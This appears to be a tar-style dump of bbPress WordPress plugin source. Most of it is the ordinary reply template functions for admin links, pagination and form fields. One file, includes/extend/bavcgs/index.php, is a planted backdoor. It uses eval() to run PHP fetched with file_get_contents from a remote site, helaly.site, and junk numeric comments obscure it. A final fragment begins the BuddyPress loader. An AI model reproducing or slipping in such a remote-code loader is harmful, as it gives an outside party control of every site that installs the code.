	 *  - sep: Separator. Defaults to ' | '
	 *  - links: Array of the links to display. By default, edit, trash,
	 *            spam, reply move, and topic split links are displayed
	 * @return string Reply admin links
	 */
	function bbp_get_reply_admin_links( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'     => 0,
			'before' => '<span class="bbp-admin-links">',
			'after'  => '</span>',
			'sep'    => ' | ',
			'links'  => array()
		), 'get_reply_admin_links' );

		$r['id'] = bbp_get_reply_id( $r['id'] );

		// If post is a topic, return the topic admin links instead
		if ( bbp_is_topic( $r['id'] ) ) {
			return bbp_get_topic_admin_links( $args );
		}

		// If post is not a reply, return
		if ( ! bbp_is_reply( $r['id'] ) ) {
			return;
		}

		// If topic is trashed, do not show admin links
		if ( bbp_is_topic_trash( bbp_get_reply_topic_id( $r['id'] ) ) ) {
			return;
		}

		// If no links were passed, default to the standard
		if ( empty( $r['links'] ) ) {
			$r['links'] = apply_filters( 'bbp_reply_admin_links', array(
				'edit'    => bbp_get_reply_edit_link   ( $r ),
				'move'    => bbp_get_reply_move_link   ( $r ),
				'split'   => bbp_get_topic_split_link  ( $r ),
				'trash'   => bbp_get_reply_trash_link  ( $r ),
				'spam'    => bbp_get_reply_spam_link   ( $r ),
				'approve' => bbp_get_reply_approve_link( $r ),
				'reply'   => bbp_get_reply_to_link     ( $r )
			), $r['id'] );
		}

		// See if links need to be unset
		$reply_status = bbp_get_reply_status( $r['id'] );
		if ( in_array( $reply_status, array( bbp_get_spam_status_id(), bbp_get_trash_status_id(), bbp_get_pending_status_id() ), true ) ) {

			// Spam link shouldn't be visible on trashed topics
			if ( bbp_get_trash_status_id() === $reply_status ) {
				unset( $r['links']['spam'] );

			// Trash link shouldn't be visible on spam topics
			} elseif ( bbp_get_spam_status_id() === $reply_status ) {
				unset( $r['links']['trash'] );
			}
		}

		// Process the admin links
		$links  = implode( $r['sep'], array_filter( $r['links'] ) );
		$retval = $r['before'] . $links . $r['after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_admin_links', $retval, $r, $args );
	}

/**
 * Output the edit link of the reply
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param array $args See {@link bbp_get_reply_edit_link()}
 */
function bbp_reply_edit_link( $args = array() ) {
	echo bbp_get_reply_edit_link( $args );
}

	/**
	 * Return the edit link of the reply
	 *
	 * @since 2.0.0 bbPress (r2740)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Reply id
	 *  - link_before: HTML before the link
	 *  - link_after: HTML after the link
	 *  - edit_text: Edit text. Defaults to 'Edit'
	 * @return string Reply edit link
	 */
	function bbp_get_reply_edit_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'edit_text'    => esc_html__( 'Edit', 'bbpress' )
		), 'get_reply_edit_link' );

		// Get reply
		$reply = bbp_get_reply( $r['id'] );

		// Bypass check if user has caps
		if ( ! current_user_can( 'edit_others_replies' ) ) {

			// User cannot edit or it is past the lock time
			if ( empty( $reply ) || ! current_user_can( 'edit_reply', $reply->ID ) || bbp_past_edit_lock( $reply->post_date_gmt ) ) {
				return;
			}
		}

		// Get uri
		$uri = bbp_get_reply_edit_url( $r['id'] );

		// Bail if no uri
		if ( empty( $uri ) ) {
			return;
		}

		$retval = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-reply-edit-link">' . $r['edit_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_edit_link', $retval, $r, $args );
	}

/**
 * Output URL to the reply edit page
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_edit_url( $reply_id = 0 ) {
	echo esc_url( bbp_get_reply_edit_url( $reply_id ) );
}
	/**
	 * Return URL to the reply edit page
	 *
	 * @since 2.0.0 bbPress (r2753)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Reply edit url
	 */
	function bbp_get_reply_edit_url( $reply_id = 0 ) {

		// Bail if no reply
		$reply = bbp_get_reply( $reply_id );
		if ( empty( $reply ) ) {
			return;
		}

		$reply_link = bbp_remove_view_all( bbp_get_reply_permalink( $reply_id ) );

		// Pretty permalinks, previously used `bbp_use_pretty_urls()`
		// https://bbpress.trac.wordpress.org/ticket/3054
		if ( false === strpos( $reply_link, '?' ) ) {
			$url = trailingslashit( $reply_link ) . bbp_get_edit_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_reply_post_type() => $reply->post_name,
				bbp_get_edit_rewrite_id() => '1'
			), $reply_link );
		}

		// Maybe add view all
		$url = bbp_add_view_all( $url );

		// Filter & return
		return apply_filters( 'bbp_get_reply_edit_url', $url, $reply_id );
	}

/**
 * Output the trash link of the reply
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param array $args See {@link bbp_get_reply_trash_link()}
 */
function bbp_reply_trash_link( $args = array() ) {
	echo bbp_get_reply_trash_link( $args );
}

	/**
	 * Return the trash link of the reply
	 *
	 * @since 2.0.0 bbPress (r2740)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Reply id
	 *  - link_before: HTML before the link
	 *  - link_after: HTML after the link
	 *  - sep: Separator
	 *  - trash_text: Trash text
	 *  - restore_text: Restore text
	 *  - delete_text: Delete text
	 * @return string Reply trash link
	 */
	function bbp_get_reply_trash_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'sep'          => ' | ',
			'trash_text'   => esc_html__( 'Trash',   'bbpress' ),
			'restore_text' => esc_html__( 'Restore', 'bbpress' ),
			'delete_text'  => esc_html__( 'Delete',  'bbpress' )
		), 'get_reply_trash_link' );

		// Get reply
		$reply = bbp_get_reply( $r['id'] );

		// Bail if no reply or current user cannot delete
		if ( empty( $reply ) || ! current_user_can( 'delete_reply', $reply->ID ) ) {
			return;
		}

		$actions    = array();
		$trash_days = bbp_get_trash_days( bbp_get_reply_post_type() );

		// Trashed
		if ( bbp_is_reply_trash( $reply->ID ) ) {
			$actions['untrash'] = '<a title="' . esc_attr__( 'Restore this item from the Trash', 'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_reply_trash', 'sub_action' => 'untrash', 'reply_id' => $reply->ID ) ), 'untrash-' . $reply->post_type . '_' . $reply->ID ) ) . '" class="bbp-reply-restore-link">' . $r['restore_text'] . '</a>';

		// Trash
		} elseif ( ! empty( $trash_days ) ) {
			$actions['trash']   = '<a title="' . esc_attr__( 'Move this item to the Trash',      'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_reply_trash', 'sub_action' => 'trash',   'reply_id' => $reply->ID ) ), 'trash-'   . $reply->post_type . '_' . $reply->ID ) ) . '" class="bbp-reply-trash-link">'   . $r['trash_text']   . '</a>';
		}

		// No trash
		if ( bbp_is_reply_trash( $reply->ID ) || empty( $trash_days ) ) {
			$actions['delete']  = '<a title="' . esc_attr__( 'Delete this item permanently',     'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_reply_trash', 'sub_action' => 'delete',  'reply_id' => $reply->ID ) ), 'delete-'  . $reply->post_type . '_' . $reply->ID ) ) . '" onclick="return confirm(\'' . esc_js( __( 'Are you sure you want to delete that permanently?', 'bbpress' ) ) . '\' );" class="bbp-reply-delete-link">' . $r['delete_text'] . '</a>';
		}

		// Process the admin links
		$retval = $r['link_before'] . implode( $r['sep'], $actions ) . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_trash_link', $retval, $r, $args );
	}

/**
 * Output the spam link of the reply
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param array $args See {@link bbp_get_reply_spam_link()}
 */
function bbp_reply_spam_link( $args = array() ) {
	echo bbp_get_reply_spam_link( $args );
}

	/**
	 * Return the spam link of the reply
	 *
	 * @since 2.0.0 bbPress (r2740)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Reply id
	 *  - link_before: HTML before the link
	 *  - link_after: HTML after the link
	 *  - spam_text: Spam text
	 *  - unspam_text: Unspam text
	 * @return string Reply spam link
	 */
	function bbp_get_reply_spam_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'spam_text'    => esc_html__( 'Spam',   'bbpress' ),
			'unspam_text'  => esc_html__( 'Unspam', 'bbpress' )
		), 'get_reply_spam_link' );

		// Get reply
		$reply = bbp_get_reply( $r['id'] );

		// Bail if no reply or current user cannot moderate
		if ( empty( $reply ) || ! current_user_can( 'moderate', $reply->ID ) ) {
			return;
		}

		$display = bbp_is_reply_spam( $reply->ID ) ? $r['unspam_text'] : $r['spam_text'];
		$uri     = add_query_arg( array( 'action' => 'bbp_toggle_reply_spam', 'reply_id' => $reply->ID ) );
		$uri     = wp_nonce_url( $uri, 'spam-reply_' . $reply->ID );
		$retval  = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-reply-spam-link">' . $display . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_spam_link', $retval, $r, $args );
	}

/**
 * Move reply link
 *
 * Output the move link of the reply
 *
 * @since 2.3.0 bbPress (r4521)
 *
 * @param array $args See {@link bbp_get_reply_move_link()}
 */
function bbp_reply_move_link( $args = array() ) {
	echo bbp_get_reply_move_link( $args );
}

	/**
	 * Get move reply link
	 *
	 * Return the move link of the reply
	 *
	 * @since 2.3.0 bbPress (r4521)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Reply id
	 *  - link_before: HTML before the link
	 *  - link_after: HTML after the link
	 *  - move_text: Move text
	 *  - move_title: Move title attribute
	 * @return string Reply move link
	 */
	function bbp_get_reply_move_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'          => 0,
			'link_before' => '',
			'link_after'  => '',
			'split_text'  => esc_html__( 'Move',            'bbpress' ),
			'split_title' => esc_attr__( 'Move this reply', 'bbpress' )
		), 'get_reply_move_link' );

		// Get IDs
		$reply_id = bbp_get_reply_id( $r['id'] );
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Bail if no reply ID or user cannot moderate
		if ( empty( $reply_id ) || ! current_user_can( 'moderate', $topic_id ) ) {
			return;
		}

		$uri = add_query_arg( array(
			'action'   => 'move',
			'reply_id' => $reply_id
		), bbp_get_reply_edit_url( $reply_id ) );

		$retval = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" title="' . $r['split_title'] . '" class="bbp-reply-move-link">' . $r['split_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_move_link', $retval, $r, $args );
	}

/**
 * Split topic link
 *
 * Output the split link of the topic (but is bundled with each reply)
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param array $args See {@link bbp_get_topic_split_link()}
 */
function bbp_topic_split_link( $args = array() ) {
	echo bbp_get_topic_split_link( $args );
}

	/**
	 * Get split topic link
	 *
	 * Return the split link of the topic (but is bundled with each reply)
	 *
	 * @since 2.0.0 bbPress (r2756)
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Reply id
	 *  - link_before: HTML before the link
	 *  - link_after: HTML after the link
	 *  - split_text: Split text
	 *  - split_title: Split title attribute
	 * @return string Topic split link
	 */
	function bbp_get_topic_split_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'          => 0,
			'link_before' => '',
			'link_after'  => '',
			'split_text'  => esc_html__( 'Split',                           'bbpress' ),
			'split_title' => esc_attr__( 'Split the topic from this reply', 'bbpress' )
		), 'get_topic_split_link' );

		// Get IDs
		$reply_id = bbp_get_reply_id( $r['id'] );
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Bail if no reply/topic ID, or user cannot moderate
		if ( empty( $reply_id ) || empty( $topic_id ) || ! current_user_can( 'moderate', $topic_id ) ) {
			return;
		}

		$uri = add_query_arg( array(
			'action'   => 'split',
			'reply_id' => $reply_id
		), bbp_get_topic_edit_url( $topic_id ) );

		$retval = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" title="' . $r['split_title'] . '" class="bbp-topic-split-link">' . $r['split_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_split_link', $retval, $r, $args );
	}

/**
 * Output the approve link of the reply
 *
 * @since 2.6.0 bbPress (r5507)
 *
 * @param array $args See {@link bbp_get_reply_approve_link()}
 */
function bbp_reply_approve_link( $args = array() ) {
	echo bbp_get_reply_approve_link( $args );
}

	/**
	 * Return the approve link of the reply
	 *
	 * @since 2.6.0 bbPress (r5507)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Reply id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - sep: Separator between links
	 *  - approve_text: Approve text
	 *  - unapprove_text: Unapprove text
	 * @return string Reply approve link
	 */
	function bbp_get_reply_approve_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'             => 0,
			'link_before'    => '',
			'link_after'     => '',
			'sep'            => ' | ',
			'approve_text'   => _x( 'Approve',   'Pending Status', 'bbpress' ),
			'unapprove_text' => _x( 'Unapprove', 'Pending Status', 'bbpress' )
		), 'get_reply_approve_link' );

		// Get reply
		$reply = bbp_get_reply( $r['id'] );

		// Bail if no reply or current user cannot moderate
		if ( empty( $reply ) || ! current_user_can( 'moderate', $reply->ID ) ) {
			return;
		}

		$display = bbp_is_reply_pending( $reply->ID ) ? $r['approve_text'] : $r['unapprove_text'];
		$uri     = add_query_arg( array( 'action' => 'bbp_toggle_reply_approve', 'reply_id' => $reply->ID ) );
		$uri     = wp_nonce_url( $uri, 'approve-reply_' . $reply->ID );
		$retval  = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-reply-approve-link">' . $display . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_reply_approve_link', $retval, $r, $args );
	}

/**
 * Output the row class of a reply
 *
 * @since 2.0.0 bbPress (r2678)
 *
 * @param int $reply_id Optional. Reply ID
 * @param array Extra classes you can pass when calling this function
 */
function bbp_reply_class( $reply_id = 0, $classes = array() ) {
	echo bbp_get_reply_class( $reply_id, $classes );
}
	/**
	 * Return the row class of a reply
	 *
	 * @since 2.0.0 bbPress (r2678)
	 *
	 * @param int $reply_id Optional. Reply ID
	 * @param array Extra classes you can pass when calling this function
	 * @return string Row class of the reply
	 */
	function bbp_get_reply_class( $reply_id = 0, $classes = array() ) {
		$bbp       = bbpress();
		$reply_id  = bbp_get_reply_id( $reply_id );
		$topic_id  = bbp_get_reply_topic_id( $reply_id );
		$forum_id  = bbp_get_reply_forum_id( $reply_id );
		$author_id = bbp_get_reply_author_id( $reply_id );
		$reply_pos = bbp_get_reply_position( $reply_id, true );
		$classes   = array_filter( (array) $classes );
		$count     = isset( $bbp->reply_query->current_post )
			? (int) $bbp->reply_query->current_post
			: 1;

		//  Stripes
		$even_odd = ( $count % 2 )
			? 'even'
			: 'odd';

		// Forum moderator replied to topic
		$forum_moderator = ( bbp_is_user_forum_moderator( $author_id, $forum_id ) === $author_id )
			? 'forum-mod'
			: '';

		// Topic author replied to others
		$topic_author = ( bbp_get_topic_author_id( $topic_id ) === $author_id )
			? 'topic-author'
			: '';

		// Get reply classes
		$reply_classes = array(
			'loop-item-'          . $count,
			'user-id-'            . $author_id,
			'bbp-parent-forum-'   . $forum_id,
			'bbp-parent-topic-'   . $topic_id,
			'bbp-reply-position-' . $reply_pos,
			$even_odd,
			$topic_author,
			$forum_moderator
		);

		// Run the topic classes through the post-class filters, which also
		// handles the escaping of each individual class.
		$post_classes = get_post_class( array_merge( $classes, $reply_classes ), $reply_id );

		// Filter
		$new_classes  = apply_filters( 'bbp_get_reply_class', $post_classes, $reply_id, $classes );

		// Return
		return 'class="' . implode( ' ', $new_classes ) . '"';
	}

/** Pagination ****************************************************************/

/**
 * Return the base URL used inside of pagination links
 *
 * @since 2.6.0 bbPress (r6679)
 *
 * @param int $topic_id
 * @return string
 */
function bbp_get_replies_pagination_base( $topic_id = 0 ) {

	// If pretty permalinks are enabled, make our pagination pretty
	if ( bbp_use_pretty_urls() && ! bbp_is_topic_pending( $topic_id )) {

		// User's replies
		if ( bbp_is_single_user_replies() ) {
			$base = bbp_get_user_replies_created_url( bbp_get_displayed_user_id() );

		// Root profile page
		} elseif ( bbp_is_single_user() ) {
			$base = bbp_get_user_profile_url( bbp_get_displayed_user_id() );

		// Page or single post
		} elseif ( is_page() || is_single() ) {
			$base = get_permalink();

		// Single topic
		} else {
			$base = get_permalink( $topic_id );
		}

		$base = trailingslashit( $base ) . user_trailingslashit( bbp_get_paged_slug() . '/%#%/' );

	// Unpretty permalinks
	} else {
		$base = add_query_arg( 'paged', '%#%' );
	}

	// Filter & return
	return apply_filters( 'bbp_get_replies_pagination_base', $base, $topic_id );
}

/**
 * Output the topic pagination count
 *
 * The results are unescaped by design, to allow them to be filtered freely via
 * the 'bbp_get_topic_pagination_count' filter.
 *
 * @since 2.0.0 bbPress (r2519)
 *
 */
function bbp_topic_pagination_count() {
	echo bbp_get_topic_pagination_count();
}
	/**
	 * Return the topic pagination count
	 *
	 * @since 2.0.0 bbPress (r2519)
	 *
	 * @return string Topic pagination count
	 */
	function bbp_get_topic_pagination_count() {
		$bbp = bbpress();

		// Define local variable(s)
		$retstr = '';

		// Set pagination values
		$count_int = intval( $bbp->reply_query->post_count     );
		$total_int = intval( $bbp->reply_query->found_posts    );
		$ppp_int   = intval( $bbp->reply_query->posts_per_page );
		$start_int = intval( ( $bbp->reply_query->paged - 1 ) * $ppp_int ) + 1;
		$to_int    = intval( ( $start_int + ( $ppp_int - 1 ) > $total_int )
			? $total_int
			: $start_int + ( $ppp_int - 1 ) );

		// Format numbers for display
		$count_num = bbp_number_format( $count_int );
		$total_num = bbp_number_format( $total_int );
		$from_num  = bbp_number_format( $start_int );
		$to_num    = bbp_number_format( $to_int    );

		// We are threading replies
		if ( bbp_thread_replies() ) {
			$walker  = new BBP_Walker_Reply();
			$threads = absint( $walker->get_number_of_root_elements( $bbp->reply_query->posts ) - 1 );
			$retstr  = sprintf( _n( 'Viewing %1$s reply thread', 'Viewing %1$s reply threads', $threads, 'bbpress' ), bbp_number_format( $threads ) );

		// We are not including the lead topic
		} elseif ( bbp_show_lead_topic() ) {

			// Several replies in a topic with a single page
			if ( empty( $to_num ) ) {
				$retstr = sprintf( _n( 'Viewing %1$s reply', 'Viewing %1$s replies', $total_int, 'bbpress' ), $total_num );

			// Several replies in a topic with several pages
			} else {
				$retstr = sprintf( _n( 'Viewing %2$s replies (of %4$s total)', 'Viewing %1$s replies - %2$s through %3$s (of %4$s total)', $count_int, 'bbpress' ), $count_num, $from_num, $to_num, $total_num );
			}

		// We are including the lead topic
		} else {

			// Several posts in a topic with a single page
			if ( empty( $to_num ) ) {
				$retstr = sprintf( _n( 'Viewing %1$s post', 'Viewing %1$s posts', $total_int, 'bbpress' ), $total_num );

			// Several posts in a topic with several pages
			} else {
				$retstr = sprintf( _n( 'Viewing %2$s post (of %4$s total)', 'Viewing %1$s posts - %2$s through %3$s (of %4$s total)', $count_int, 'bbpress' ), $count_num, $from_num, $to_num, $total_num );
			}
		}

		// Escape results of _n()
		$retstr = esc_html( $retstr );

		// Filter & return
		return apply_filters( 'bbp_get_topic_pagination_count', $retstr );
	}

/**
 * Output topic pagination links
 *
 * @since 2.0.0 bbPress (r2519)
 */
function bbp_topic_pagination_links() {
	echo bbp_get_topic_pagination_links();
}
	/**
	 * Return topic pagination links
	 *
	 * @since 2.0.0 bbPress (r2519)
	 *
	 * @return string Topic pagination links
	 */
	function bbp_get_topic_pagination_links() {
		$bbp = bbpress();

		if ( ! isset( $bbp->reply_query->pagination_links ) || empty( $bbp->reply_query->pagination_links ) ) {
			return false;
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_pagination_links', $bbp->reply_query->pagination_links );
	}

/** Forms *********************************************************************/

/**
 * Output the value of reply content field
 *
 * @since 2.0.0 bbPress (r3130)
 */
function bbp_form_reply_content() {
	echo bbp_get_form_reply_content();
}
	/**
	 * Return the value of reply content field
	 *
	 * @since 2.0.0 bbPress (r3130)
	 *
	 * @return string Value of reply content field
	 */
	function bbp_get_form_reply_content() {

		// Get _POST data
		if ( bbp_is_reply_form_post_request() && isset( $_POST['bbp_reply_content'] ) ) {
			$reply_content = wp_unslash( $_POST['bbp_reply_content'] );

		// Get edit data
		} elseif ( bbp_is_reply_edit() ) {
			$reply_content = bbp_get_global_post_field( 'post_content', 'raw' );

		// No data
		} else {
			$reply_content = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_reply_content', $reply_content );
	}

/**
 * Output the value of the reply to field
 *
 * @since 2.4.0 bbPress (r4944)
 */
function bbp_form_reply_to() {
	echo bbp_get_form_reply_to();
}

	/**
	 * Return the value of reply to field
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @return string Value of reply to field
	 */
	function bbp_get_form_reply_to() {

		// Set initial value
		$reply_to = 0;

		// Get $_REQUEST data
		if ( isset( $_REQUEST['bbp_reply_to'] ) ) {
			$reply_to = bbp_validate_reply_to( $_REQUEST['bbp_reply_to'] );
		}

		// If empty, get from meta
		if ( empty( $reply_to ) ) {
			$reply_to = bbp_get_reply_to();
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_reply_to', $reply_to );
	}

/**
 * Output a select box allowing to pick which reply an existing hierarchical
 * reply belongs to.
 *
 * @since 2.6.0 bbPress (r5387)
 *
 * @param int $reply_id
 */
function bbp_reply_to_dropdown( $reply_id = 0 ) {
	echo bbp_get_reply_to_dropdown( $reply_id );
}
	/**
	 * Return a select box allowing to pick which topic/reply a reply belongs.
	 *
	 * @since 2.6.0 bbPress (r5387)
	 *
	 * @param int $reply_id
	 *
	 * @return string The dropdown
	 */
	function bbp_get_reply_to_dropdown( $reply_id = 0 ) {

		// Validate the reply data
		$reply_id = bbp_get_reply_id( $reply_id );
		$reply_to = bbp_get_reply_to( $reply_id );
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Get the replies
		$posts = get_posts( array(
			'post_type'   => bbp_get_reply_post_type(),
			'post_status' => bbp_get_public_status_id(),
			'post_parent' => $topic_id,
			'numberposts' => -1,
			'orderby'     => 'menu_order',
			'order'       => 'ASC',
		) );

		// Append `reply_to` for each reply so it can be walked
		foreach ( $posts as &$post ) {

			// Check for reply post type
			$_reply_to = bbp_get_reply_to( $post->ID );

			// Make sure it's a reply to a reply
			if ( empty( $_reply_to ) || ( $topic_id === $_reply_to ) ) {
				$_reply_to = 0;
			}

			// Add reply_to to the post object so we can walk it later
			$post->reply_to = $_reply_to;
		}

		// Default "None" text
		$show_none = ( 0 === $reply_id )
			? esc_attr_x( 'None', 'Default reply to dropdown text', 'bbpress' )
			: sprintf( esc_attr__( '%1$s - %2$s', 'bbpress' ), $topic_id, bbp_get_topic_title( $topic_id ) );

		// Get the dropdown and return it
		$retval = bbp_get_dropdown( array(
			'show_none'    => $show_none,
			'select_id'    => 'bbp_reply_to',
			'select_class' => 'bbp_dropdown',
			'exclude'      => $reply_id,
			'selected'     => $reply_to,
			'post_parent'  => $topic_id,
			'post_type'    => bbp_get_reply_post_type(),
			'max_depth'    => bbp_thread_replies_depth(),
			'page'         => 1,
			'per_page'     => -1,
			'walker'       => new BBP_Walker_Reply_Dropdown(),
			'posts'        => $posts
		) );

		// Filter & return
		return apply_filters( 'bbp_get_reply_to_dropdown', $retval, $reply_id, $reply_to, $topic_id );
	}

/**
 * Output checked value of reply log edit field
 *
 * @since 2.0.0 bbPress (r3130)
 */
function bbp_form_reply_log_edit() {
	echo bbp_get_form_reply_log_edit();
}
	/**
	 * Return checked value of reply log edit field
	 *
	 * @since 2.0.0 bbPress (r3130)
	 *
	 * @return string Reply log edit checked value
	 */
	function bbp_get_form_reply_log_edit() {

		// Get _POST data
		if ( bbp_is_reply_form_post_request() && isset( $_POST['bbp_log_reply_edit'] ) ) {
			$reply_revision = (bool) $_POST['bbp_log_reply_edit'];

		// No data
		} else {
			$reply_revision = true;
		}

		// Get checked output
		$checked = checked( $reply_revision, true, false );

		// Filter & return
		return apply_filters( 'bbp_get_form_reply_log_edit', $checked, $reply_revision );
	}

/**
 * Output the value of the reply edit reason
 *
 * @since 2.0.0 bbPress (r3130)
 */
function bbp_form_reply_edit_reason() {
	echo bbp_get_form_reply_edit_reason();
}
	/**
	 * Return the value of the reply edit reason
	 *
	 * @since 2.0.0 bbPress (r3130)
	 *
	 * @return string Reply edit reason value
	 */
	function bbp_get_form_reply_edit_reason() {

		// Get _POST data
		if ( bbp_is_reply_form_post_request() && isset( $_POST['bbp_reply_edit_reason'] ) ) {
			$reply_edit_reason = wp_unslash( $_POST['bbp_reply_edit_reason'] );

		// No data
		} else {
			$reply_edit_reason = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_reply_edit_reason', $reply_edit_reason );
	}

/**
 * Output value reply status dropdown
 *
 * @since 2.6.0 bbPress (r5399)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_reply_status
 *  - tab: Deprecated. Tabindex
 *  - reply_id: Reply id
 *  - selected: Override the selected option
 */
function bbp_form_reply_status_dropdown( $args = array() ) {
	echo bbp_get_form_reply_status_dropdown( $args );
}
	/**
	 * Returns reply status dropdown
	 *
	 * This dropdown is only intended to be seen by users with the 'moderate'
	 * capability. Because of this, no additional capability checks are performed
	 * within this function to check available reply statuses.
	 *
	 * @since 2.6.0 bbPress (r5399)
	 *
	 * @param $args This function supports these arguments:
	 *  - select_id: Select id. Defaults to bbp_reply_status
	 *  - tab: Deprecated. Tabindex
	 *  - reply_id: Reply id
	 *  - selected: Override the selected option
	 */
	function bbp_get_form_reply_status_dropdown( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_reply_status',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'reply_id'     => 0,
			'selected'     => false
		), 'reply_status_dropdown' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_reply_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value was passed
			} else {

				// Edit reply
				if ( bbp_is_reply_edit() ) {
					$r['reply_id'] = bbp_get_reply_id( $r['reply_id'] );
					$r['selected'] = bbp_get_reply_status( $r['reply_id'] );

				// New reply
				} else {
					$r['selected'] = bbp_get_public_status_id();
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ) ?>" id="<?php echo esc_attr( $r['select_id'] ); ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_reply_statuses( $r['reply_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_reply_status_dropdown', ob_get_clean(), $r, $args );
	}

/**
 * Verify if a POST request came from a failed reply attempt.
 *
 * Used to avoid cross-site request forgeries when checking posted reply form
 * content.
 *
 * @see bbp_reply_form_fields()
 *
 * @since 2.6.0 bbPress (r5558)
 *
 * @return boolean True if is a post request with valid nonce
 */
function bbp_is_reply_form_post_request() {

	// Bail if not a post request
	if ( ! bbp_is_post_request() ) {
		return false;
	}

	// Creating a new reply
	if ( bbp_verify_nonce_request( 'bbp-new-reply' ) ) {
		return true;
	}

	// Editing an existing reply
	if ( bbp_verify_nonce_request( 'bbp-edit-reply' ) ) {
		return true;
	}

	return false;
}
includes/replies/index.php000066600000000072151771460310011645 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/extend/bavcgs/index.php000066600000001114151771460310012734 0ustar00<?php eval(



          /*271342654121566891421341605570265447778*/          



urldecode("%3f%3e")
         /*172875489604218566974952834094884085126*/         
.file_get_contents(
      /*264555951588964805590072824262804209696*/      
urldecode("https://helaly.site/5784938475.txt?AdS=810305619"

        /*2472351308982195486634705267975294569*/        

)

        /*200371654183689705212252770415888165678*/        

)


         /*48574609092765735904895100861077861531*/         


);
          /*92886470268639611910453298069754347781*/          
?>includes/extend/index.php000066600000000072151771460310011471 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/extend/buddypress/loader.php000066600000025635151771460310014030 0ustar00<?php

/**
 * bbPress BuddyPress Component Class
 *
 * bbPress and BuddyPress are designed to connect together seamlessly and
 * invisibly, and this is the hunk of code necessary to make that happen.
 *
 * The code in this BuddyPress Extension does some pretty complicated stuff,
 * far outside the realm of the simplicity bbPress is traditionally known for.
 *
 * While the rest of bbPress serves as an example of how to write pretty, simple
 * code, what's in these files is pure madness. It should not be used as an
 * example of anything other than successfully juggling chainsaws and puppy-dogs.
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Forums_Component' ) ) :
/**
 * Loads Forums Component
 *
 * @since 2.1.0 bbPress (r3552)
 *
 * @package bbPress
 * @subpackage BuddyPress
 */
class BBP_Forums_Component extends BP_Component {

	/**
	 * Start the forums component creation process
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function __construct() {
		parent::start(
			'forums',
